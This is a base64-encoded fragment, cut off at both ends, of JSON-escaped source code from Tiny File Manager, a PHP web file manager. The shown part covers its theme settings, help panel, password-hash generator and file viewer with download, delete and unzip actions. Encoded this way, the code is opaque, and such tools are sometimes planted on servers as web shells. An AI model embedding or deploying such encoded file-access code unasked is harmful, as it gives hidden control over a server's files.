gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIFwic2VsZWN0ZWRcIjtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA/Pj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdsaWdodCcpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0nZGFyaycgPD9waHAgaWYgKCR0aGVtZSA9PSBcImRhcmtcIikge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBcInNlbGVjdGVkXCI7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnZGFyaycpID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL29wdGlvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9zZWxlY3Q+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibWItMyByb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtc20tMTBcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPiA8aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdTYXZlJyk7ID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgICAgICAgICAgPHNtYWxsIGNsYXNzPVwidGV4dC1ib2R5LXNlY29uZGFyeVwiPiogPD9waHAgZWNobyBsbmcoJ1NvbWV0aW1lcyB0aGUgc2F2ZSBhY3Rpb24gbWF5IG5vdCB3b3JrIG9uIHRoZSBmaXJzdCB0cnksIHNvIHBsZWFzZSBhdHRlbXB0IGl0IGFnYWluJykgPz4uPFwvc21hbGw+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgPFwvZGl2PlxuICAgIDxcL2Rpdj5cbjw/cGhwXG4gICAgZm1fc2hvd19mb290ZXIoKTtcbiAgICBleGl0O1xufVxuXG5pZiAoaXNzZXQoJF9HRVRbJ2hlbHAnXSkpIHtcbiAgICBmbV9zaG93X2hlYWRlcigpO1xuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7XG4gICAgZ2xvYmFsICRjZmcsICRsYW5nO1xuPz5cblxuICAgIDxkaXYgY2xhc3M9XCJjb2wtbWQtOCBvZmZzZXQtbWQtMiBwdC0zXCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjYXJkIG1iLTJcIiBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cbiAgICAgICAgICAgIDxoNiBjbGFzcz1cImNhcmQtaGVhZGVyIGQtZmxleCBqdXN0aWZ5LWNvbnRlbnQtYmV0d2VlblwiPlxuICAgICAgICAgICAgICAgIDxzcGFuPjxpIGNsYXNzPVwiZmEgZmEtZXhjbGFtYXRpb24tY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0hlbHAnKSA/PjxcL3NwYW4+XG4gICAgICAgICAgICAgICAgPGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gRk1fUEFUSCA/PlwiIGNsYXNzPVwidGV4dC1kYW5nZXJcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYT5cbiAgICAgICAgICAgIDxcL2g2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aDM+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXCIgdGFyZ2V0PVwiX2JsYW5rXCIgY2xhc3M9XCJhcHAtdi10aXRsZVwiPiBUaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9oMz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8cD5BdXRob3I6IFBSQVx1MDE1YUFUSCBNQU5cdTAxMzA8XC9wPlxuICAgICAgICAgICAgICAgICAgICAgICAgPHA+TWFpbCBVczogPGEgaHJlZj1cIm1haWx0bzpjY3Bwcm9ncmFtbWVyc0BnbWFpbC5jb21cIj5jY3Bwcm9ncmFtbWVycyBbYXRdIGdtYWlsIFtkb3RdIGNvbTxcL2E+IDxcL3A+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNvbC14cy0xMiBjb2wtc20tNlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmRcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJsaXN0LWdyb3VwIGxpc3QtZ3JvdXAtZmx1c2hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC93aWtpXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1xdWVzdGlvbi1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSGVscCBEb2N1bWVudHMnKSA/PiA8XC9hPiA8XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PGEgaHJlZj1cImh0dHBzOlwvXC9naXRodWIuY29tXC9wcmFzYXRobWFuaVwvdGlueWZpbGVtYW5hZ2VyXC9pc3N1ZXNcIiB0YXJnZXQ9XCJfYmxhbmtcIj48aSBjbGFzcz1cImZhIGZhLWJ1Z1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdSZXBvcnQgSXNzdWUnKSA/PjxcL2E+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpIHsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxhIGhyZWY9XCJqYXZhc2NyaXB0OnNob3dfbmV3X3B3ZCgpO1wiPjxpIGNsYXNzPVwiZmEgZmEtbG9ja1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdHZW5lcmF0ZSBuZXcgcGFzc3dvcmQgaGFzaCcpID8+PFwvYT48XC9saT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJyb3cganMtbmV3LXB3ZCBoaWRkZW4gbXQtMlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLTEyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cImZvcm0taW5saW5lXCIgb25zdWJtaXQ9XCJyZXR1cm4gbmV3X3Bhc3N3b3JkX2hhc2godGhpcylcIiBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidHlwZVwiIHZhbHVlPVwicHdkaGFzaFwiIGFyaWEtbGFiZWw9XCJoaWRkZW5cIiBhcmlhLWhpZGRlbj1cInRydWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBtYi0yXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBmb3I9XCJzdGF0aWNFbWFpbDJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUgbmV3IHBhc3N3b3JkIGhhc2gnKSA/PjxcL2xhYmVsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZm9ybS1ncm91cCBteC1zbS0zIG1iLTJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucHV0UGFzc3dvcmQyXCIgY2xhc3M9XCJzci1vbmx5XCI+PD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2wgYnRuLXNtXCIgaWQ9XCJpbnB1dFBhc3N3b3JkMlwiIG5hbWU9XCJpbnB1dFBhc3N3b3JkMlwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ1Bhc3N3b3JkJykgPz5cIiByZXF1aXJlZD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLXN1Y2Nlc3MgYnRuLXNtIG1iLTJcIj48P3BocCBlY2hvIGxuZygnR2VuZXJhdGUnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiByb3dzPVwiMlwiIHJlYWRvbmx5IGlkPVwianMtcHdkLXJlc3VsdFwiPjxcL3RleHRhcmVhPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICA8XC9kaXY+XG4gICAgPFwvZGl2PlxuPD9waHBcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xuICAgIGV4aXQ7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndmlldyddKSkge1xuICAgICRmaWxlID0gJF9HRVRbJ3ZpZXcnXTtcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUsIGZhbHNlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSB8fCAhZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJHBhdGggLiAnXC8nIC4gJGZpbGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgZm1fc2hvd19oZWFkZXIoKTtcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpO1xuXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcbiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG5cbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcbiAgICAkbWltZV90eXBlID0gZm1fZ2V0X21pbWVfdHlwZSgkZmlsZV9wYXRoKTtcbiAgICAkZmlsZXNpemVfcmF3ID0gZm1fZ2V0X3NpemUoJGZpbGVfcGF0aCk7XG4gICAgJGZpbGVzaXplID0gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZV9yYXcpO1xuXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xuICAgICRpc19nemlwID0gZmFsc2U7XG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XG4gICAgJGlzX2F1ZGlvID0gZmFsc2U7XG4gICAgJGlzX3ZpZGVvID0gZmFsc2U7XG4gICAgJGlzX3RleHQgPSBmYWxzZTtcbiAgICAkaXNfb25saW5lVmlld2VyID0gZmFsc2U7XG5cbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcbiAgICAkZmlsZW5hbWVzID0gZmFsc2U7XG4gICAgJGNvbnRlbnQgPSAnJztcbiAgICAkb25saW5lX3ZpZXdlciA9IHN0cnRvbG93ZXIoRk1fRE9DX1ZJRVdFUik7XG5cbiAgICBpZiAoJG9ubGluZV92aWV3ZXIgJiYgJG9ubGluZV92aWV3ZXIgIT09ICdmYWxzZScgJiYgaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X29ubGluZVZpZXdlcl9leHRzKCkpKSB7XG4gICAgICAgICRpc19vbmxpbmVWaWV3ZXIgPSB0cnVlO1xuICAgIH0gZWxzZWlmICgkZXh0ID09ICd6aXAnIHx8ICRleHQgPT0gJ3RhcicpIHtcbiAgICAgICAgJGlzX3ppcCA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0FyY2hpdmUnO1xuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgsICRleHQpO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfaW1hZ2VfZXh0cygpKSkge1xuICAgICAgICAkaXNfaW1hZ2UgPSB0cnVlO1xuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9hdWRpb19leHRzKCkpKSB7XG4gICAgICAgICRpc19hdWRpbyA9IHRydWU7XG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X3ZpZGVvX2V4dHMoKSkpIHtcbiAgICAgICAgJGlzX3ZpZGVvID0gdHJ1ZTtcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdGV4dF9leHRzKCkpIHx8IHN1YnN0cigkbWltZV90eXBlLCAwLCA0KSA9PSAndGV4dCcgfHwgaW5fYXJyYXkoJG1pbWVfdHlwZSwgZm1fZ2V0X3RleHRfbWltZXMoKSkpIHtcbiAgICAgICAgJGlzX3RleHQgPSB0cnVlO1xuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xuICAgIH1cblxuPz5cbiAgICA8ZGl2IGNsYXNzPVwicm93XCI+XG4gICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj5cbiAgICAgICAgICAgIDx1bCBjbGFzcz1cImxpc3QtZ3JvdXAgdy01MCBteS0zXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtIGFjdGl2ZVwiIGFyaWEtY3VycmVudD1cInRydWVcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCR2aWV3X3RpdGxlKSA/Pjo8XC9zdHJvbmc+IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCRmaWxlKSkgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48XC9saT5cbiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdEYXRlIE1vZGlmaWVkJykgPz46PFwvc3Ryb25nPiA8P3BocCBlY2hvIGRhdGUoRk1fREFURVRJTUVfRk9STUFULCBmaWxlbXRpbWUoJGZpbGVfcGF0aCkpOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ0ZpbGUgc2l6ZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAoJGZpbGVzaXplX3JhdyA8PSAxMDAwKSA/IFwiJGZpbGVzaXplX3JhdyBieXRlc1wiIDogJGZpbGVzaXplOyA/PjxcL2xpPlxuICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ01JTUUtdHlwZScpID8+OjxcL3N0cm9uZz4gPD9waHAgZWNobyAkbWltZV90eXBlID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoKCRpc196aXAgfHwgJGlzX2d6aXApICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9maWxlcyA9IDA7XG4gICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wID0gMDtcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XG4gICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlbmFtZXMgYXMgJGZuKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBpZiAoISRmblsnZm9sZGVyJ10pIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgICR0b3RhbF9jb21wICs9ICRmblsnY29tcHJlc3NlZF9zaXplJ107XG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdGaWxlcyBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gJHRvdGFsX2ZpbGVzID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPjw/cGhwIGVjaG8gbG5nKCdUb3RhbCBzaXplJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PFwvbGk+XG4gICAgICAgICAgICAgICAgICAgIDxsaSBjbGFzcz1cImxpc3QtZ3JvdXAtaXRlbVwiPiA8P3BocCBlY2hvIGxuZygnU2l6ZSBpbiBhcmNoaXZlJykgPz46IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF9jb21wKSA/PjxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48P3BocCBlY2hvIGxuZygnQ29tcHJlc3Npb24nKSA/PjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gbWF4KCR0b3RhbF91bmNvbXAsIDEpKSAqIDEwMCkgPz4lPFwvbGk+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc19pbWFnZSkge1xuICAgICAgICAgICAgICAgICAgICAkaW1hZ2Vfc2l6ZSA9IGdldGltYWdlc2l6ZSgkZmlsZV9wYXRoKTtcbiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGxpIGNsYXNzPVwibGlzdC1ncm91cC1pdGVtXCI+PHN0cm9uZz4nIC4gbG5nKCdJbWFnZSBzaXplJykgLiAnOjxcL3N0cm9uZz4gJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVswXSkgPyAkaW1hZ2Vfc2l6ZVswXSA6ICcwJykgLiAnIHggJyAuIChpc3NldCgkaW1hZ2Vfc2l6ZVsxXSkgPyAkaW1hZ2Vfc2l6ZVsxXSA6ICcwJykgLiAnPFwvbGk+JztcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgaWYgKCRpc190ZXh0KSB7XG4gICAgICAgICAgICAgICAgICAgICRpc191dGY4ID0gZm1faXNfdXRmOCgkY29udGVudCk7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGlzX3V0ZjgpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29udGVudCA9IGljb252KEZNX0lDT05WX0lOUFVUX0VOQywgJ1VURi04XC9cL0lHTk9SRScsICRjb250ZW50KTtcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICBlY2hvICc8bGkgY2xhc3M9XCJsaXN0LWdyb3VwLWl0ZW1cIj48c3Ryb25nPicgLiBsbmcoJ0NoYXJzZXQnKSAuICc6PFwvc3Ryb25nPiAnIC4gKCRpc191dGY4ID8gJ3V0Zi04JyA6ICc4IGJpdCcpIC4gJzxcL2xpPic7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgID8+XG4gICAgICAgICAgICA8XC91bD5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJidG4tZ3JvdXAgYnRuLWdyb3VwLXNtIGZsZXgtd3JhcFwiIHJvbGU9XCJncm91cFwiPlxuICAgICAgICAgICAgICAgIDxmb3JtIG1ldGhvZD1cInBvc3RcIiBjbGFzcz1cImQtaW5saW5lIG1iLTAgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiBhY3Rpb249XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG4gYnRuLWxpbmsgYnRuLXNtIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wXCI+PGkgY2xhc3M9XCJmYSBmYS1jbG91ZC1kb3dubG9hZFwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdEb3dubG9hZCcpID8+PFwvYnV0dG9uPiAmbmJzcDtcbiAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICA8YSBjbGFzcz1cImZ3LWJvbGQgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnlcIiB0aXRsZT1cIjw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIG9uY2xpY2s9XCJjb25maXJtRGFpbG9nKGV2ZW50LCAxMjA5LCAnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpIC4gJyAnIC4gbG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpOyA/PicsIHRoaXMuaHJlZik7XCI+IDxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiBEZWxldGU8XC9hPlxuICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgIDxhIGNsYXNzPVwiZnctYm9sZCBidG4gYnRuLW91dGxpbmUtcHJpbWFyeVwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdPcGVuJykgPz48XC9hPjxcL2I+XG4gICAgICAgICAgICAgICAgPD9waHBcbiAgICAgICAgICAgICAgICBpZiAoIUZNX1JFQURPTkxZICYmICgkaXNfemlwIHx8ICRpc19nemlwKSAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xuICAgICAgICAgICAgICAgICAgICAkemlwX25hbWUgPSBwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICAgICAgPz5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1saW5rIHRleHQtZGVjb3JhdGlvbi1ub25lIGZ3LWJvbGQgcC0wIGJvcmRlci0wXCIgc3R5bGU9XCJmb250LXNpemU6IDE0cHg7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVW5aaXAnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPVwicG9zdFwiIGNsYXNzPVwiZC1pbmxpbmUgYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgbWItMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidG9rZW5cIiB2YWx1ZT1cIjw/cGhwIGVjaG8gJF9TRVNTSU9OWyd0b2tlbiddOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwidW56aXBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRvZm9